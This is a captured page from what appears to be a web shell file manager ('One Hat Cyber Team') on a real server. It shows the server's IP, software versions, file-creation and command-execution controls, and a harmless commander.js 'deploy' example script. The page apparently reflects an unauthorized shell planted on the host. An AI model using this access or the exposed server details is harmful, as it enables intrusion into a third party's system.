One Hat Cyber Team
Your IP :
10.30.1.1
Server IP :
103.148.201.5
Server :
Linux web-olt 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Server Software :
Apache/2.4.52 (Ubuntu)
PHP Version :
8.1.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
node-commander
/
examples
/
View File Name :
deploy
#!/usr/bin/env node // const { Command } = require('commander'); // (normal include) const { Command } = require('../'); // include commander in git clone of commander repo const program = new Command(); program .name('deploy') .version('0.0.1') .option('-c, --config <path>', 'set config path', './deploy.conf'); program .command('setup [env]') .description('run setup commands for all envs') .option('-s, --setup_mode <mode>', 'Which setup mode to use', 'normal') .action((env, options) => { env = env || 'all'; console.log('read config from %s', program.opts().config); console.log('setup for %s env(s) with %s mode', env, options.setup_mode); }); program .command('exec <script>') .alias('ex') .description('execute the given remote cmd') .option('-e, --exec_mode <mode>', 'Which exec mode to use', 'fast') .action((script, options) => { console.log('read config from %s', program.opts().config); console.log('exec "%s" using %s mode and config %s', script, options.exec_mode, program.opts().config); }).addHelpText('after', ` Examples: $ deploy exec sequential $ deploy exec async` ); program.parse(process.argv);